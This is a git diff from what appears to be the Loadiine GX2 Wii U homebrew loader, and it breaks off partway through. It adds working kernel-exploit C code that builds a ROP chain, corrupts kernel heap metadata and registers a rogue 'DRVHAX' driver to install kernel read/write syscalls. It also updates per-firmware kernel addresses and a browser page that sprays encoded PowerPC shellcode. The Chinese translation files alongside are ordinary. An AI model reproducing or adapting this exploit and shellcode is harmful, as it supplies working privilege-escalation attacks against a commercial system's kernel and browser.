diff --git a/installer/kexploit.c b/installer/kexploit.c index cd09ee5..27568b8 100644 --- a/installer/kexploit.c +++ b/installer/kexploit.c @@ -1,12 +1,165 @@ #include "kexploit.h" -void wait(unsigned int t); +void wait(unsigned int coreinit_handle, unsigned int t); void doBrowserShutdown(unsigned int coreinit_handle); void setupOSScreen(unsigned int coreinit_handle); void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); void exitOSScreen(unsigned int coreinit_handle); void callSysExit(unsigned int coreinit_handle, void *sysFunc); +#if (VER >= 532) +/* Initial setup code stolen from Pong, makes race much more reliable */ +void run_kexploit(private_data_t *private_data) +{ + /* Get a handle to coreinit.rpl and gx2.rpl */ + unsigned int coreinit_handle = private_data->coreinit_handle; + unsigned int gx2_handle = 0; + OSDynLoad_Acquire("gx2.rpl", &gx2_handle); + + //needed to not destroy screen + doBrowserShutdown(coreinit_handle); + + /* Exit functions */ + void (*__PPCExit)(); + void (*_Exit)(); + OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); + + /* Memory functions */ + void (*DCFlushRange)(void *buffer, uint32_t length); + void (*DCInvalidateRange)(void *buffer, uint32_t length); + void (*DCTouchRange)(void *buffer, uint32_t length); + uint32_t (*OSEffectiveToPhysical)(void *vaddr); + void* (*OSAllocFromSystem)(uint32_t size, int align); + void (*OSFreeToSystem)(void *ptr); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange); + OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical); + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); + + /* OS thread functions */ + bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t *stack, uint32_t stack_size, int priority, uint16_t attr); + int (*OSResumeThread)(void *thread); + void (*OSExitThread)(); + int (*OSIsThreadTerminated)(void *thread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); + + /* OSDriver functions */ + uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; + uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); + uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; + uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); + uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; + uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); + uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; + uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); + + /* GX2 functions */ + void (*GX2SetSemaphore)(uint64_t *sem, int action); + void (*GX2Flush)(void); + OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); + OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush); + + /* Allocate space for DRVHAX */ + uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); + + /* Set the kernel heap metadata entry */ + uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); + metadata[0] = (uint32_t)drvhax; + metadata[1] = (uint32_t)-0x4c; + metadata[2] = (uint32_t)-1; + metadata[3] = (uint32_t)-1; + + /* Find some gadgets */ + uint32_t gx2data[] = {0xfc2a0000}; + uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); + uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; + uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); + uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; + uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); + uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; + uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; + + /* Modify a next ptr on the heap */ + uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; + + /* Make a thread to modify the semaphore */ + OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000,8); + uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xa0,0x20); + if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, stack + 0x28, 0xa0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread"); + + /* Set up the ROP chain */ + thread->gpr[1] = (uint32_t)stack; + thread->gpr[3] = kpaddr; + thread->gpr[30] = gx2data_addr; + thread->gpr[31] = 1; + thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; + + stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ + stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ + stack[0x2c/4] = 1; /* r31 = 1 (signal) */ + + stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ + stack[0x38/4] = kpaddr; + + stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ + + stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ + stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ + stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ + + stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ + + stack[0x94/4] = (uint32_t)OSExitThread; + + /* Start the thread */ + OSResumeThread(thread); + + /* Wait for a while */ + while(OSIsThreadTerminated(thread) == 0) + { + asm volatile ( + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + ); + } + + /* Free stuff */ + private_data->MEMFreeToDefaultHeap(thread); + private_data->MEMFreeToDefaultHeap(stack); + + /* Register a new OSDriver, DRVHAX */ + char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; + Register(drvname, 6, NULL, NULL); + + /* Modify its save area to point to the kernel syscall table */ + drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4); + + /* Use DRVHAX to install the read and write syscalls */ + uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; + CopyToSaveArea(drvname, 6, syscalls, 8); + + /* Clean up the heap and driver list so we can exit */ + kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); + kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); + + /* Modify the kernel address table and exit */ + //kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000); + //kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800); +} + +#else typedef struct { char *drvb_name; @@ -40,6 +193,7 @@ static void thread_callback(int argc, void *argv) container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000); } + /* Initial setup code stolen from Pong, makes race much more reliable */ void run_kexploit(private_data_t *private_data) { @@ -54,7 +208,7 @@ void run_kexploit(private_data_t *private_data) if(KERN_SYSCALL_TBL == 0) { printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1); - wait(0x3FFFFFFF); + wait(coreinit_handle, 0x3FFFF); exitOSScreen(coreinit_handle); } @@ -118,7 +272,7 @@ void run_kexploit(private_data_t *private_data) if (ret0 == false || ret2 == false) { printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1); - wait(0x2FFFFFFF); + wait(coreinit_handle, 0x3FFFF); exitOSScreen(coreinit_handle); } @@ -231,7 +385,7 @@ void run_kexploit(private_data_t *private_data) if (status != 0) { printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2); - wait(0x2FFFFFFF); + wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } @@ -241,7 +395,7 @@ void run_kexploit(private_data_t *private_data) if (!copy_payload) { printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2); - wait(0x2FFFFFFF); + wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } @@ -316,7 +470,7 @@ void run_kexploit(private_data_t *private_data) if (result != KERN_CODE_READ) { printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2); - wait(0x2FFFFFFF); + wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } @@ -341,7 +495,7 @@ void run_kexploit(private_data_t *private_data) if (!(drva_addr && drvhax_addr)) { printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2); - wait(0x2FFFFFFF); + wait(coreinit_handle, 0x3FFFF); callSysExit(coreinit_handle,SYSLaunchSettings); exitOSScreen(coreinit_handle); } @@ -356,18 +510,22 @@ void run_kexploit(private_data_t *private_data) private_data->MEMFreeToDefaultHeap((void*)stack2); //printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2); - //wait(0x1FFFFFFF); + //wait(coreinit_handle, 0x3FFFF); //callSysExit(coreinit_handle,SYSSwitchToBrowser); //exitOSScreen(coreinit_handle); } +#endif -void wait(unsigned int t) + +void wait(unsigned int coreinit_handle, unsigned int t) { - // the wait times are too short with optimizations enabled so we double them - t *= 2; + void (*OSYieldThread)(void); + OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); while(t--) - asm volatile("nop"); + { + OSYieldThread(); + } } void doBrowserShutdown(unsigned int coreinit_handle) @@ -397,7 +555,7 @@ void doBrowserShutdown(unsigned int coreinit_handle) IM_Close(fd); OSFreeToSystem(mem); //wait a bit for browser end - wait(0x1FFFFFFF); + wait(coreinit_handle, 0x3FFFF); } void drawString(unsigned int coreinit_handle, int x, int y, char * string) diff --git a/installer/kexploit.h b/installer/kexploit.h index 6e3d8c5..530490a 100644 --- a/installer/kexploit.h +++ b/installer/kexploit.h @@ -2,9 +2,9 @@ #define KEXPLOIT_H #include "structs.h" -#include "types.h" -#include "coreinit.h" -#include "socket.h" +#include "../../libwiiu/src/types.h" +#include "../../libwiiu/src/coreinit.h" +#include "../../libwiiu/src/socket.h" /* Wait times for CPU0 and CPU2 */ #define CPU0_WAIT_TIME 80 @@ -20,61 +20,63 @@ #define CODE_ADDRESS_END 0x0F848A0C #endif -/* Kernel addresses, for each new kernel */ +/* Kernel addresses, stolen from Chadderz */ +#define KERN_HEAP 0xFF200000 +#define KERN_HEAP_PHYS 0x1B800000 #if VER == 200 #define KERN_SYSCALL_TBL 0xFFE85910 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB4E00 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 210 #define KERN_SYSCALL_TBL 0xFFE85910 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB4E40 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 300 #define KERN_SYSCALL_TBL 0xFFE85950 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB66E4 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 310 #define KERN_SYSCALL_TBL 0xFFE85950 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB66E4 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 400 #define KERN_SYSCALL_TBL 0xFFE85890 #define KERN_CODE_READ 0xFFF02214 #define KERN_CODE_WRITE 0xFFF02234 #define KERN_ADDRESS_TBL 0xFFEB7E5C - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 410 #define KERN_SYSCALL_TBL 0xffe85890 #define KERN_CODE_READ 0xfff02214 #define KERN_CODE_WRITE 0xfff02234 #define KERN_ADDRESS_TBL 0xffeb902c - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR 0x00000000 #elif VER == 500 #define KERN_SYSCALL_TBL 0xffea9520 #define KERN_CODE_READ 0xfff021f4 #define KERN_CODE_WRITE 0xfff02214 #define KERN_ADDRESS_TBL 0xffea9e4c - #define KERN_HEAP 0xFF200000 -#elif VER == 532 + #define KERN_DRVPTR 0x00000000 +#elif (VER == 532) || (VER == 540) #define KERN_SYSCALL_TBL 0xFFEAA0E0 #define KERN_CODE_READ 0xFFF02274 #define KERN_CODE_WRITE 0xFFF02294 #define KERN_ADDRESS_TBL 0xFFEAAA10 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) #elif VER == 550 #define KERN_SYSCALL_TBL 0xFFEAAE60 #define KERN_CODE_READ 0xFFF023D4 #define KERN_CODE_WRITE 0xFFF023F4 #define KERN_ADDRESS_TBL 0xFFEAB7A0 - #define KERN_HEAP 0xFF200000 + #define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) #else #error "Unsupported Wii U software version" #endif @@ -82,6 +84,11 @@ /* Browser PFID */ #define PFID_BROWSER 8 +/* Kernel heap constants */ +#define STARTID_OFFSET 0x08 +#define METADATA_OFFSET 0x14 +#define METADATA_SIZE 0x10 + /* Size of a Cafe OS thread */ #define OSTHREAD_SIZE 0x1000 diff --git a/languages/chinese.lang b/languages/chinese.lang index c4d09d1..461a52a 100644 --- a/languages/chinese.lang +++ b/languages/chinese.lang @@ -1,11 +1,11 @@ # Loadiine GX2 language source file. -# chinese.lang - v0.3 +# chinese.lang - v0.32 # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-04-18 15:13+0200\n" +"POT-Creation-Date: 2016-04-29 15:13+0200\n" "PO-Revision-Date: 2009-10-01 01:00+0200\n" "Last-Translator: kavid by 91wii.com \n" "Language-Team: 91wii.com\n" @@ -24,7 +24,7 @@ msgid "Coding:" msgstr "代码编写:" msgid "Design:" -msgstr "设计:" +msgstr "界面设计:" msgid "Some guy who doesn't want to be named." msgstr "有些人不想被提到名字。" @@ -36,7 +36,7 @@ msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "Cyan / Maschell / n1ghty / OnionKnight 等等更多人" msgid "Social Presence:" -msgstr "社会参与人员:" +msgstr "参与人员:" msgid "Based on:" msgstr "基于:" @@ -57,19 +57,19 @@ msgid "The whole libwiiu team and it's contributors." msgstr "还有libwiiu小组和其他人所做出贡献" msgid "Update Folder" -msgstr "" +msgstr "更新文件夹" msgid "Save Mode" -msgstr "" +msgstr "存档模式" msgid "Launch Mode" msgstr "运行模式" msgid "" -msgstr "" +msgstr "<缺省设置>" msgid "Saving game settings!" -msgstr "" +msgstr "保存游戏何止!" msgid "Off" msgstr "关闭" @@ -147,10 +147,10 @@ msgid "Log Server IP" msgstr "日志服务器IP" msgid "PyGecko" -msgstr "" +msgstr "金手指" msgid "Padcon" -msgstr "" +msgstr "平板屏幕控制" msgid "Shared Mode" msgstr "共享模式" diff --git a/languages/chinese_T.lang b/languages/chinese_T.lang new file mode 100644 index 0000000..02ce812 --- /dev/null +++ b/languages/chinese_T.lang @@ -0,0 +1,171 @@ +# Loadiine GX2 language source file. +# chinese.lang - v0.32 +# don't delete/change this line (é). +msgid "" +msgstr "" +"Project-Id-Version: Loadiine GX2\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2016-04-29 15:13+0200\n" +"PO-Revision-Date: 2009-10-01 01:00+0200\n" +"Last-Translator: kavid by 91wii.com \n" +"Language-Team: 91wii.com\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=utf-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Language: Chinese\n" + +msgid "Loadiine GX2" +msgstr "Loadiine GX2" + +msgid "Official Site:" +msgstr "官方網站" + +msgid "Coding:" +msgstr "代碼編寫:" + +msgid "Design:" +msgstr "界面設計:" + +msgid "Some guy who doesn't want to be named." +msgstr "有些人不想被提到名字。" + +msgid "Testing:" +msgstr "測試者:" + +msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" +msgstr "Cyan / Maschell / n1ghty / OnionKnight 等等更多人" + +msgid "Social Presence:" +msgstr "參與人員:" + +msgid "Based on:" +msgstr "基於:" + +msgid "Loadiine v4.0 by Golden45 and Dimok" +msgstr "Loadiine v4.0作者Golden45和Dimok" + +msgid "Big thanks to:" +msgstr "強烈感謝:" + +msgid "lustar for GameTDB and hosting covers / disc images" +msgstr "lustar的GameTDB與提供的封面和光盤封面" + +msgid "Marionumber1 for his kernel exploit" +msgstr "Marionumber1開發的內核破解程序" + +msgid "The whole libwiiu team and it's contributors." +msgstr "還有libwiiu小組和其他人所做出貢獻" + +msgid "Update Folder" +msgstr "更新文件夾" + +msgid "Save Mode" +msgstr "存檔模式" + +msgid "Launch Mode" +msgstr "運行模式" + +msgid "" +msgstr "<缺省設置>" + +msgid "Saving game settings!" +msgstr "保存遊戲何止!" + +msgid "Off" +msgstr "關閉" + +msgid "On" +msgstr "開啟" + +msgid "Icon Carousel" +msgstr "旋轉圖標模式" + +msgid "Grid View" +msgstr "網格視圖" + +msgid "Cover Carousel" +msgstr "旋轉封面模式" + +msgid "Background customizations" +msgstr "自定義背景" + +msgid "GUI" +msgstr "圖形化" + +msgid "Game View Selection" +msgstr "遊戲查看選擇" + +msgid "Customize games path" +msgstr "自定義遊戲路徑" + +msgid "Customize save path" +msgstr "自定義保存路徑" + +msgid "Loader" +msgstr "加載器" + +msgid "Set save mode" +msgstr "設置存檔模式" + +msgid "Adjust log server IP and port" +msgstr "更改日誌服務器的ip和端口" + +msgid "Game" +msgstr "遊戲" + +msgid "Launch method selection" +msgstr "運行模式選擇" + +msgid "Log server control" +msgstr "日誌服務器控制" + +msgid "Credits" +msgstr "感謝" + +msgid "Credits to all contributors" +msgstr "感謝所有為此項目的貢獻者" + +msgid "Game View TV" +msgstr "電視顯示樣式" + +msgid "Game View DRC" +msgstr "平板顯示樣式" + +msgid "Game Path" +msgstr "遊戲路徑" + +msgid "Game Save Path" +msgstr "遊戲存檔路徑" + +msgid "Game Save Mode" +msgstr "遊戲存檔模式" + +msgid "Log Server Control" +msgstr "日誌服務器控制" + +msgid "Log Server IP" +msgstr "日誌服務器IP" + +msgid "PyGecko" +msgstr "金手指" + +msgid "Padcon" +msgstr "平板屏幕控制" + +msgid "Shared Mode" +msgstr "共享模式" + +msgid "Unique Mode" +msgstr "獨享模式" + +msgid "Mii Maker Mode" +msgstr "Mii Maker模式" + +msgid "Smash Bros Mode" +msgstr "超級大亂鬥模式" + +msgid "Karaoke Mode" +msgstr "卡拉OK模式" + +msgid "Art Atelier Mode" +msgstr "繪心教室模式" diff --git a/www/loadiine_gx2/code532.bin b/www/loadiine_gx2/code532.bin index 092e802..8bb476c 100644 Binary files a/www/loadiine_gx2/code532.bin and b/www/loadiine_gx2/code532.bin differ diff --git a/www/loadiine_gx2/code550.bin b/www/loadiine_gx2/code550.bin index d0af244..32887ee 100644 Binary files a/www/loadiine_gx2/code550.bin and b/www/loadiine_gx2/code550.bin differ diff --git a/www/loadiine_gx2/index.html b/www/loadiine_gx2/index.html index 62f3919..1f1ee7d 100644 --- a/www/loadiine_gx2/index.html +++ b/www/loadiine_gx2/index.html @@ -24,8 +24,15 @@ { -->Store the exact browser version to a string versionNumber=versionRE[1]; + -->See if browser is for Wii U version 5.5.1 + if(versionNumber == "3.0.4.2.12") + { + -->Display message and redirect to payload URL + document.getElementById("text").innerHTML="Detected Wii U Firmware version 5.5.1"; + window.location = "payload.php?sysver=550"; + } -->See if browser is for Wii U version 5.5.0 - if(versionNumber == "3.0.4.2.11") + else if(versionNumber == "3.0.4.2.11") { -->Display message and redirect to payload URL document.getElementById("text").innerHTML="Detected Wii U Firmware version 5.5.0"; diff --git a/www/loadiine_gx2/payload532.html b/www/loadiine_gx2/payload532.html index a3906dc..245c3b1 100644 --- a/www/loadiine_gx2/payload532.html +++ b/www/loadiine_gx2/payload532.html @@ -55,7 +55,7 @@ } function sprayCode(n) { - var str = unescape("%ucafe%ucafe%u3c20%u1ab5%u6021%ud138%u4800%u1a39%u3800%u2500%u4400%u0002%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u93c1%u0004%u93e1%u0008%u7c05%u0378%u7c26%u0b78%u3800%u3600%u4400%u0002%u6000%u0000"); + var str = unescape("%ucafe%ucafe%u3c20%u1ab5%u6021%ud138%u4800%u1409%u3800%u2500%u4400%u0002%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u93c1%u0004%u93e1%u0008%u7c05%u0378%u7c26%u0b78%u3800%u3600%u4400%u0002%u6000%u0000"); str += unescape("%u7ca0%u2b78%u7cc1%u3378%u83c1%u0004%u83e1%u0008%u3821%u0010%u7c08%u03a6%u4e80%u0020%u7fd8%u82a6%u7ff9%u82a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff0%u6063%u0002%u7c78%u83a6%u3c60%ufff0%u6063%u0032"); str += unescape("%u7c79%u83a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff1%u6063%ud638%u3c80%u3ce0%u6084%u3080%u9083%u0000%u3c80%u60e7%u6084%u0012%u9083%u0004%u3c80%u7cf1%u6084%u8ba6%u9083%u0008%u3c80%u3ce0%u6084%u0080"); str += unescape("%u9083%u000c%u3c80%u60e7%u6084%u00ff%u9083%u0010%u3c80%u7cf0%u6084%u8ba6%u9083%u0014%u3c80%u7c00%u6084%u06ac%u9083%u0018%u3c80%u4c00%u6084%u012c%u9083%u001c%u3c80%u7ce8%u6084%u02a6%u9083%u0020"); @@ -64,210 +64,210 @@ str += unescape("%u6063%u03c8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u03cc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud720%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud73c"); str += unescape("%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud840%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u3c60%uffee%u6063%u0002%u7c78%u83a6%u3c60%uffee%u6063%u0032%u7c79%u83a6"); str += unescape("%u7c00%u06ac%u4c00%u012c%u3c80%u6000%u3c60%uffee%u6063%u10b8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%uffee%u6063%u10bc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u7fd8%u83a6"); - str += unescape("%u7ff9%u83a6%u7c00%u06ac%u4c00%u012c%u4c00%u0064%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c9f%u2378%u9001%u0014%u8124%u0018%u7d29%u03a6%u4e80%u0421%u813f%u001c%u807f%u0008%u7d29%u03a6%u4e80%u0421"); - str += unescape("%u813f%u001c%u807f%u000c%u7d29%u03a6%u4e80%u0421%u815f%u0010%u3920%u0000%u912a%u01fc%u815f%u0014%u912a%u01ac%u813f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0020%u8001%u0014%u3880%u0004%u807f%u0000"); - str += unescape("%u7d29%u03a6%u80bf%u0004%u38c0%u1000%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0420%u5463%u083c%u3863%u0001%u7c69%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u4e80%u0020%u9421%uffd0%u7c08%u02a6"); - str += unescape("%u3ca0%u0180%u3880%u0000%ubfc1%u0028%u3fe0%u0102%u63ff%ub790%u9001%u0034%u7fe9%u03a6%u38a5%u22dc%u38c1%u001c%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u22e3"); - str += unescape("%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u22f5%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2304%u38c1%u0010%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2316%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38c1%u0008%u38a5%u231f%u7fc3%uf378%u3880%u0000%u7fe9%u03a6%u4e80%u0421%u8121%u0008%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3880%u0040%u7d29%u03a6%u3860%u0100%u4e80%u0421%u8121%u001c%u3880%u0000%u38a0%u0100%u7d29%u03a6%u7c7f%u1b78%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u38a0%u0003"); - str += unescape("%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u000c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%u1fff%u6063%uffff%u4bff%ufea1"); - str += unescape("%u3961%u0030%u4800%u1da8%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubfa1%u001c%u6129%ub790%u7cbe%u2b78%u3ca0%u0180%u9001%u002c%u7c9d%u2378%u7cdf%u3378%u7d29%u03a6%u3880%u0000%u38a5%u2327%u38c1%u0008"); - str += unescape("%u4e80%u0421%u8121%u0008%u7fa4%ueb78%u7fc5%uf378%u7d29%u03a6%u7fe6%ufb78%u3860%u0000%u4e80%u0421%u8121%u0008%u3860%u0001%u7fa4%ueb78%u7fc5%uf378%u7fe6%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028"); - str += unescape("%u4800%u1d28%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubf81%u0018%u6129%ub790%u7cbd%u2b78%u3ca0%u0180%u9001%u002c%u38a5%u2339%u7d29%u03a6%u7c9e%u2378%u7cdc%u3378%u3880%u0000%u38c1%u0008%u7cff%u3b78"); - str += unescape("%u579c%u402e%u57bd%u801e%u7f9f%ufb78%u57de%uc00e%u7fff%ueb78%u4e80%u0421%u8121%u0008%u7fff%uf378%u3860%u0000%u7d29%u03a6%u7fe4%ufb78%u4e80%u0421%u8121%u0008%u3860%u0001%u7fe4%ufb78%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u3961%u0028%u4800%u1c9c%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fe0%u0102%u63ff%ub790%u9001%u0024%u7fe9%u03a6%u38a5%u234f%u38c1%u0010%u7c7e%u1b78%u4e80%u0421"); - str += unescape("%u3ca0%u0180%u7fe9%u03a6%u7fc3%uf378%u3880%u0000%u38a5%u235c%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2372%u38c1%u0008%u3880%u0000%u7fe9%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u0008%u3860%u0000"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7c7f%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7c64%u1b78%u3c7f%uf400%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u3c60%uf400%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u1bc4%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7f%u1b78%u9001%u001c"); - str += unescape("%u7c9d%u2378%u7cbc%u2b78%u3bc0%u0002%u38e0%u0000%u7fe3%ufb78%u3880%u0000%u38a0%u0000%u38c0%u0000%u4bff%ufe65%u7fe3%ufb78%u3880%u0000%u7f85%ue378%u7fa6%ueb78%u4bff%ufdd5%u7fe3%ufb78%u4bff%ufed1"); - str += unescape("%u37de%uffff%u40a2%uffc8%u3961%u0018%u4800%u1b58%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fc0%u0102%u63de%ub790%u9001%u0024%u7fc9%u03a6%u38a5%u238a%u38c1%u0010%u7c7f%u1b78"); - str += 